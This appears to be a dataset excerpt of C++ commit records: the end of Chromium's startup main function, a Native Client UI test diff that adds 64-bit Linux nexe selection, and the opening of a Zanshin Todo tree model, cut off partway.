sandbox_wrapper.SetServices(sandbox_info);\n#endif\n  sandbox_wrapper.InitializeSandbox(parsed_command_line, process_type);\n\n#if defined(OS_WIN)\n  _Module.Init(NULL, instance);\n#endif\n\n  \/\/ Notice a user data directory override if any\n  const std::wstring user_data_dir =\n      parsed_command_line.GetSwitchValue(switches::kUserDataDir);\n  if (!user_data_dir.empty())\n    PathService::Override(chrome::DIR_USER_DATA, user_data_dir);\n\n  bool single_process =\n#if defined (GOOGLE_CHROME_BUILD)\n    \/\/ This is an unsupported and not fully tested mode, so don't enable it for\n    \/\/ official Chrome builds.\n    false;\n#else\n    parsed_command_line.HasSwitch(switches::kSingleProcess);\n#endif\n  if (single_process)\n    RenderProcessHost::set_run_renderer_in_process(true);\n#if defined(OS_MACOSX)\n  \/\/ TODO(port-mac): This is from renderer_main_platform_delegate.cc.\n  \/\/ shess tried to refactor things appropriately, but it sprawled out\n  \/\/ of control because different platforms needed different styles of\n  \/\/ initialization.  Try again once we understand the process\n  \/\/ architecture needed and where it should live.\n  if (single_process)\n    InitWebCoreSystemInterface();\n#endif\n\n  bool icu_result = icu_util::Initialize();\n  CHECK(icu_result);\n\n  logging::OldFileDeletionState file_state =\n      logging::APPEND_TO_OLD_LOG_FILE;\n  if (process_type.empty()) {\n    file_state = logging::DELETE_OLD_LOG_FILE;\n  }\n  logging::InitChromeLogging(parsed_command_line, file_state);\n\n#ifdef NDEBUG\n  if (parsed_command_line.HasSwitch(switches::kSilentDumpOnDCHECK) &&\n      parsed_command_line.HasSwitch(switches::kEnableDCHECK)) {\n#if defined(OS_WIN)\n    logging::SetLogReportHandler(ChromeAssert);\n#endif\n  }\n#endif  \/\/ NDEBUG\n\n  if (!process_type.empty())\n    CommonSubprocessInit();\n\n  startup_timer.Stop();  \/\/ End of Startup Time Measurement.\n\n  MainFunctionParams main_params(parsed_command_line, sandbox_wrapper,\n                                 &autorelease_pool);\n\n  \/\/ TODO(port): turn on these main() functions as they've been de-winified.\n  int rv = -1;\n  if (process_type == switches::kRendererProcess) {\n    rv = RendererMain(main_params);\n  } else if (process_type == switches::kPluginProcess) {\n#if defined(OS_WIN)\n    rv = PluginMain(main_params);\n#endif\n  } else if (process_type == switches::kWorkerProcess) {\n#if defined(OS_WIN)\n    rv = WorkerMain(main_params);\n#endif\n  } else if (process_type.empty()) {\n#if defined(OS_LINUX)\n    \/\/ gtk_init() can change |argc| and |argv|, but nobody else uses them.\n    gtk_init(&argc, const_cast<char***>(&argv));\n    \/\/ Register GTK assertions to go through our logging system.\n    g_log_set_handler(NULL,  \/\/ All logging domains.\n                      static_cast<GLogLevelFlags>(G_LOG_FLAG_RECURSION |\n                                                  G_LOG_FLAG_FATAL |\n                                                  G_LOG_LEVEL_ERROR |\n                                                  G_LOG_LEVEL_CRITICAL |\n                                                  G_LOG_LEVEL_WARNING),\n                      GtkFatalLogHandler,\n                      NULL);\n#endif\n\n    ScopedOleInitializer ole_initializer;\n    rv = BrowserMain(main_params);\n  } else {\n    NOTREACHED() << \"Unknown process type\";\n  }\n\n  if (!process_type.empty()) {\n    ResourceBundle::CleanupSharedInstance();\n  }\n\n#if defined(OS_WIN)\n#ifdef _CRTDBG_MAP_ALLOC\n  _CrtDumpMemoryLeaks();\n#endif  \/\/ _CRTDBG_MAP_ALLOC\n\n  _Module.Term();\n#endif\n\n  logging::CleanupChromeLogging();\n\n  return rv;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/nacl\/nacl_test.h\"\n\n#include \"base\/file_util.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"native_client\/src\/trusted\/platform_qualify\/nacl_os_qualify.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/base\/net_util.h\"\n\nnamespace {\n\nconst int kNaClTestTimeout = 20000;\nconst char kTestCompleteCookie[] = \"status\";\nconst char kTestCompleteSuccess[] = \"OK\";\n\nconst FilePath::CharType kBaseUrl[] =\n    FILE_PATH_LITERAL(\"http:\/\/localhost:5103\/\");\n\nconst FilePath::CharType kSrpcHwHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_hw.html\");\nconst FilePath::CharType kSrpcHwNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_hw.nexe\");\n\nconst FilePath::CharType kSrpcBasicHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_basic.html\");\nconst FilePath::CharType kSrpcBasicNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_test.nexe\");\n\nconst FilePath::CharType kSrpcSockAddrHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_sockaddr.html\");\n\nconst FilePath::CharType kSrpcShmHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_shm.html\");\nconst FilePath::CharType kSrpcShmNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_shm.nexe\");\n\nconst FilePath::CharType kSrpcPluginHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_plugin.html\");\n\nconst FilePath::CharType kSrpcNrdXferHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_xfer.html\");\nconst FilePath::CharType kSrpcNrdClientNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_client.nexe\");\nconst FilePath::CharType kSrpcNrdServerNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_server.nexe\");\n\nconst FilePath::CharType kServerHtmlFileName[] =\n    FILE_PATH_LITERAL(\"server_test.html\");\n\n}  \/\/ anonymous namespace\n\nNaClTest::NaClTest()\n    : UITest() {\n  launch_arguments_.AppendSwitch(switches::kEnableNaCl);\n#if defined(OS_MACOSX)\n  launch_arguments_.AppendSwitch(switches::kNoSandbox);\n#endif\n}\n\nNaClTest::~NaClTest() {}\n\nFilePath NaClTest::GetTestRootDir() {\n  FilePath path;\n  PathService::Get(base::DIR_SOURCE_ROOT, &path);\n  path = path.AppendASCII(\"native_client\");\n  path = path.AppendASCII(\"tests\");\n  return path;\n}\n\nFilePath NaClTest::GetTestBinariesDir() {\n  FilePath path = GetTestRootDir();\n  path = path.AppendASCII(\"prebuilt\");\n  bool use_x64_nexes = false;\n#if defined(OS_WIN)\n  if (NaClOsIs64BitWindows())\n    use_x64_nexes = true;\n#endif\n\n  if (use_x64_nexes)\n    path = path.AppendASCII(\"x64\");\n  else\n    path = path.AppendASCII(\"x86\");\n  return path;\n}\n\n\/\/ static\nGURL NaClTest::GetTestUrl(const FilePath& filename) {\n  FilePath path(kBaseUrl);\n  path = path.Append(filename);\n  return GURL(path.value());\n}\n\n\nvoid NaClTest::WaitForFinish(const FilePath& filename,\n                             int wait_time) {\n  GURL url = GetTestUrl(filename);\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  bool test_result = WaitUntilCookieValue(tab.get(),\n                                          url,\n                                          kTestCompleteCookie,\n                                          action_timeout_ms(),\n                                          wait_time,\n                                          kTestCompleteSuccess);\n  EXPECT_TRUE(test_result);\n}\n\nvoid NaClTest::RunTest(const FilePath& filename, int timeout) {\n  GURL url = GetTestUrl(filename);\n  NavigateToURL(url);\n  WaitForFinish(filename, timeout);\n}\n\nvoid NaClTest::PrepareSrpcHwTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc_hw\");\n  FilePath html_file = test_dir.Append(kSrpcHwHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcHwNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcHwHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcHwNexeFileName)));\n}\n\nvoid NaClTest::PrepareServerTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"server\");\n  FilePath html_file = test_dir.Append(kServerHtmlFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kServerHtmlFileName)));\n}\n\nvoid NaClTest::PrepareSrpcBasicTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcBasicHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcBasicNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcBasicHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcBasicNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcSockAddrTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcSockAddrHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcNrdServerNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcSockAddrHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcNrdServerNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcShmTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcShmHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcShmNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcShmHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcShmNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcPluginTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcPluginHtmlFileName);\n  FilePath nexe_file1 = GetTestBinariesDir().Append(kSrpcNrdClientNexeFileName);\n  FilePath nexe_file2 = GetTestBinariesDir().Append(kSrpcBasicNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file1));\n  ASSERT_TRUE(file_util::PathExists(nexe_file2));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcPluginHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file1,\n      test_root_dir.Append(kSrpcNrdClientNexeFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file2,\n      test_root_dir.Append(kSrpcBasicNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcNrdXferTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcNrdXferHtmlFileName);\n  FilePath nexe_file1 = GetTestBinariesDir().Append(kSrpcNrdClientNexeFileName);\n  FilePath nexe_file2 = GetTestBinariesDir().Append(kSrpcNrdServerNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file1));\n  ASSERT_TRUE(file_util::PathExists(nexe_file2));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcNrdXferHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file1,\n      test_root_dir.Append(kSrpcNrdClientNexeFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file2,\n      test_root_dir.Append(kSrpcNrdServerNexeFileName)));\n}\n\nvoid NaClTest::SetUp() {\n  FilePath nacl_test_dir = GetTestRootDir();\n  PrepareSrpcHwTest(nacl_test_dir);\n  PrepareServerTest(nacl_test_dir);\n  PrepareSrpcBasicTest(nacl_test_dir);\n  PrepareSrpcSockAddrTest(nacl_test_dir);\n  PrepareSrpcShmTest(nacl_test_dir);\n  PrepareSrpcPluginTest(nacl_test_dir);\n  PrepareSrpcNrdXferTest(nacl_test_dir);\n\n  UITest::SetUp();\n\n  StartHttpServerWithPort(nacl_test_dir, L\"5103\");\n}\n\nvoid NaClTest::TearDown() {\n  StopHttpServer();\n  UITest::TearDown();\n}\n\nint NaClTest::NaClTestTimeout() {\n  return std::max(kNaClTestTimeout, action_max_timeout_ms());\n}\n\nTEST_F(NaClTest, ServerTest) {\n  FilePath test_file(kServerHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcHelloWorld) {\n  FilePath test_file(kSrpcHwHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcBasicTest) {\n  FilePath test_file(kSrpcBasicHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcSockAddrTest) {\n  FilePath test_file(kSrpcSockAddrHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcShmTest) {\n  FilePath test_file(kSrpcShmHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcPluginTest) {\n  FilePath test_file(kSrpcPluginHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcNrdXferTest) {\n  FilePath test_file(kSrpcNrdXferHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n<commit_msg>Make the tests use 64-bit nexes when running 64-bit Linux Chrome<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/nacl\/nacl_test.h\"\n\n#include \"base\/file_util.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"native_client\/src\/trusted\/platform_qualify\/nacl_os_qualify.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/base\/net_util.h\"\n\nnamespace {\n\nconst int kNaClTestTimeout = 20000;\nconst char kTestCompleteCookie[] = \"status\";\nconst char kTestCompleteSuccess[] = \"OK\";\n\nconst FilePath::CharType kBaseUrl[] =\n    FILE_PATH_LITERAL(\"http:\/\/localhost:5103\/\");\n\nconst FilePath::CharType kSrpcHwHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_hw.html\");\nconst FilePath::CharType kSrpcHwNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_hw.nexe\");\n\nconst FilePath::CharType kSrpcBasicHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_basic.html\");\nconst FilePath::CharType kSrpcBasicNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_test.nexe\");\n\nconst FilePath::CharType kSrpcSockAddrHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_sockaddr.html\");\n\nconst FilePath::CharType kSrpcShmHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_shm.html\");\nconst FilePath::CharType kSrpcShmNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_shm.nexe\");\n\nconst FilePath::CharType kSrpcPluginHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_plugin.html\");\n\nconst FilePath::CharType kSrpcNrdXferHtmlFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_xfer.html\");\nconst FilePath::CharType kSrpcNrdClientNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_client.nexe\");\nconst FilePath::CharType kSrpcNrdServerNexeFileName[] =\n    FILE_PATH_LITERAL(\"srpc_nrd_server.nexe\");\n\nconst FilePath::CharType kServerHtmlFileName[] =\n    FILE_PATH_LITERAL(\"server_test.html\");\n\n}  \/\/ anonymous namespace\n\nNaClTest::NaClTest()\n    : UITest() {\n  launch_arguments_.AppendSwitch(switches::kEnableNaCl);\n#if defined(OS_MACOSX)\n  launch_arguments_.AppendSwitch(switches::kNoSandbox);\n#endif\n}\n\nNaClTest::~NaClTest() {}\n\nFilePath NaClTest::GetTestRootDir() {\n  FilePath path;\n  PathService::Get(base::DIR_SOURCE_ROOT, &path);\n  path = path.AppendASCII(\"native_client\");\n  path = path.AppendASCII(\"tests\");\n  return path;\n}\n\nFilePath NaClTest::GetTestBinariesDir() {\n  FilePath path = GetTestRootDir();\n  path = path.AppendASCII(\"prebuilt\");\n  bool use_x64_nexes = false;\n#if defined(OS_WIN)\n  if (NaClOsIs64BitWindows())\n    use_x64_nexes = true;\n#elif defined(OS_LINUX) && defined(__LP64__)\n  use_x64_nexes = true;\n#endif\n\n  if (use_x64_nexes)\n    path = path.AppendASCII(\"x64\");\n  else\n    path = path.AppendASCII(\"x86\");\n  return path;\n}\n\n\/\/ static\nGURL NaClTest::GetTestUrl(const FilePath& filename) {\n  FilePath path(kBaseUrl);\n  path = path.Append(filename);\n  return GURL(path.value());\n}\n\n\nvoid NaClTest::WaitForFinish(const FilePath& filename,\n                             int wait_time) {\n  GURL url = GetTestUrl(filename);\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  bool test_result = WaitUntilCookieValue(tab.get(),\n                                          url,\n                                          kTestCompleteCookie,\n                                          action_timeout_ms(),\n                                          wait_time,\n                                          kTestCompleteSuccess);\n  EXPECT_TRUE(test_result);\n}\n\nvoid NaClTest::RunTest(const FilePath& filename, int timeout) {\n  GURL url = GetTestUrl(filename);\n  NavigateToURL(url);\n  WaitForFinish(filename, timeout);\n}\n\nvoid NaClTest::PrepareSrpcHwTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc_hw\");\n  FilePath html_file = test_dir.Append(kSrpcHwHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcHwNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcHwHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcHwNexeFileName)));\n}\n\nvoid NaClTest::PrepareServerTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"server\");\n  FilePath html_file = test_dir.Append(kServerHtmlFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kServerHtmlFileName)));\n}\n\nvoid NaClTest::PrepareSrpcBasicTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcBasicHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcBasicNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcBasicHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcBasicNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcSockAddrTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcSockAddrHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcNrdServerNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcSockAddrHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcNrdServerNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcShmTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcShmHtmlFileName);\n  FilePath nexe_file = GetTestBinariesDir().Append(kSrpcShmNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcShmHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file,\n      test_root_dir.Append(kSrpcShmNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcPluginTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcPluginHtmlFileName);\n  FilePath nexe_file1 = GetTestBinariesDir().Append(kSrpcNrdClientNexeFileName);\n  FilePath nexe_file2 = GetTestBinariesDir().Append(kSrpcBasicNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file1));\n  ASSERT_TRUE(file_util::PathExists(nexe_file2));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcPluginHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file1,\n      test_root_dir.Append(kSrpcNrdClientNexeFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file2,\n      test_root_dir.Append(kSrpcBasicNexeFileName)));\n}\n\nvoid NaClTest::PrepareSrpcNrdXferTest(FilePath test_root_dir) {\n  FilePath test_dir = test_root_dir.AppendASCII(\"srpc\");\n  FilePath html_file = test_dir.Append(kSrpcNrdXferHtmlFileName);\n  FilePath nexe_file1 = GetTestBinariesDir().Append(kSrpcNrdClientNexeFileName);\n  FilePath nexe_file2 = GetTestBinariesDir().Append(kSrpcNrdServerNexeFileName);\n  ASSERT_TRUE(file_util::PathExists(html_file));\n  ASSERT_TRUE(file_util::PathExists(nexe_file1));\n  ASSERT_TRUE(file_util::PathExists(nexe_file2));\n  \/\/ Now copy the files into the test directory\n  ASSERT_TRUE(file_util::CopyFile(\n      html_file,\n      test_root_dir.Append(kSrpcNrdXferHtmlFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file1,\n      test_root_dir.Append(kSrpcNrdClientNexeFileName)));\n  ASSERT_TRUE(file_util::CopyFile(\n      nexe_file2,\n      test_root_dir.Append(kSrpcNrdServerNexeFileName)));\n}\n\nvoid NaClTest::SetUp() {\n  FilePath nacl_test_dir = GetTestRootDir();\n  PrepareSrpcHwTest(nacl_test_dir);\n  PrepareServerTest(nacl_test_dir);\n  PrepareSrpcBasicTest(nacl_test_dir);\n  PrepareSrpcSockAddrTest(nacl_test_dir);\n  PrepareSrpcShmTest(nacl_test_dir);\n  PrepareSrpcPluginTest(nacl_test_dir);\n  PrepareSrpcNrdXferTest(nacl_test_dir);\n\n  UITest::SetUp();\n\n  StartHttpServerWithPort(nacl_test_dir, L\"5103\");\n}\n\nvoid NaClTest::TearDown() {\n  StopHttpServer();\n  UITest::TearDown();\n}\n\nint NaClTest::NaClTestTimeout() {\n  return std::max(kNaClTestTimeout, action_max_timeout_ms());\n}\n\nTEST_F(NaClTest, ServerTest) {\n  FilePath test_file(kServerHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcHelloWorld) {\n  FilePath test_file(kSrpcHwHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcBasicTest) {\n  FilePath test_file(kSrpcBasicHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcSockAddrTest) {\n  FilePath test_file(kSrpcSockAddrHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcShmTest) {\n  FilePath test_file(kSrpcShmHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcPluginTest) {\n  FilePath test_file(kSrpcPluginHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n\nTEST_F(NaClTest, SrpcNrdXferTest) {\n  FilePath test_file(kSrpcNrdXferHtmlFileName);\n  RunTest(test_file, NaClTestTimeout());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of Zanshin Todo.\n\n   Copyright 2008 Kevin Ottens <ervin@kde.org>\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 3 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n   USA.\n*\/\n\n#include \"todotreemodel.h\"\n\n#include <akonadi\/collection.h>\n#include <akonadi\/item.h>\n\n#include \"todoflatmodel.h\"\n\nTodoTreeModel::TodoTreeModel(QObject *parent)\n    : QAbstractProxyModel(parent)\n{\n}\n\nTodoTreeModel::~TodoTreeModel()\n{\n\n}\n\nQModelIndex TodoTreeModel::index(int row, int column, const QModelIndex &parent) const\n{\n    if (row < 0 || column < 0\n     || row >= rowCount(parent)\n     || column >= columnCount(parent)) {\n        return QModelIndex();\n    }\n\n    Akonadi::Entity::Id parentId = idForIndex(parent);\n    Akonadi::Entity::Id id = m_childrenMap[parentId].at(row);\n\n    return createIndex(row, column, (void*)id);\n}\n\nQModelIndex TodoTreeModel::parent(const QModelIndex &index) const\n{\n    if (!index.isValid()\n     || !m_parentMap.contains(index.internalId())) {\n        return QModelIndex();\n    }\n\n    Akonadi::Entity::Id id = idForIndex(index);\n    Akonadi::Entity::Id parentId = m_parentMap[id];\n\n    if (parentId==-1) {\n        return QModelIndex();\n    }\n\n    return indexForId(parentId);\n}\n\nint TodoTreeModel::rowCount(const QModelIndex &parent) const\n{\n    if (!parent.isValid()) {\n        return m_childrenMap[-1].count();\n    } else if (parent.column() == 0) { \/\/ Only one set of children per row\n        Akonadi::Entity::Id id = idForIndex(parent);\n        return m_childrenMap[id].count();\n    }\n\n    return 0;\n}\n\nint TodoTreeModel::columnCount(const QModelIndex &\/*parent*\/) const\n{\n    return TodoFlatModel::LastColumn + 1;\n}\n\nQVariant TodoTreeModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    return flatModel()->headerData(section, orientation, role);\n}\n\nQModelIndex TodoTreeModel::mapToSource(const QModelIndex &proxyIndex) const\n{\n    return flatModel()->indexForItem(Akonadi::Item(proxyIndex.internalId()),\n                                     proxyIndex.column());\n}\n\nQModelIndex TodoTreeModel::mapFromSource(const QModelIndex &sourceIndex) const\n{\n    Akonadi::Item item = flatModel()->itemForIndex(sourceIndex);\n    return indexForId(item.id(), sourceIndex.column());\n}\n\nvoid TodoTreeModel::setSourceModel(QAbstractItemModel *sourceModel)\n{\n    if (flatModel()) {\n        disconnect(flatModel());\n    }\n\n    Q_ASSERT(sourceModel == 0 || qobject_cast<TodoFlatModel*>(sourceModel) != 0);\n    QAbstractProxyModel::setSourceModel(sourceModel);\n\n    onSourceInsertRows(QModelIndex(), 0, flatModel()->rowCount() - 1);\n\n    connect(flatModel(), SIGNAL(dataChanged(const QModelIndex&, const QModelIndex&)),\n            this, SLOT(onSourceDataChanged(const QModelIndex&, const QModelIndex&)));\n    connect(flatModel(), SIGNAL(rowsInserted(const QModelIndex&, int, int)),\n            this, SLOT(onSourceInsertRows(const QModelIndex&, int, int)));\n    connect(flatModel(), SIGNAL(rowsAboutToBeRemoved(const QModelIndex&, int, int)),\n            this, SLOT(onSourceRemoveRows(const QModelIndex&, int, int)));\n    connect(flatModel(), SIGNAL(collectionChanged(const Akonadi::Collection&)),\n            this, SLOT(onSourceCollectionChanged(const Akonadi::Collection&)));\n}\n\nvoid TodoTreeModel::onSourceInsertRows(const QModelIndex &\/*sourceIndex*\/, int begin, int end)\n{\n    QList<Akonadi::Entity::Id> idToEmit;\n\n    \/\/ Storing the akonadi id vs remote id mapping\n    for (int i = begin; i <= end; i++) {\n        \/\/ Retrieve the item from the source model\n        Akonadi::Item item = flatModel()->itemForIndex(flatModel()->index(i, 0));\n        QString remoteId = flatModel()->data(flatModel()->index(i, 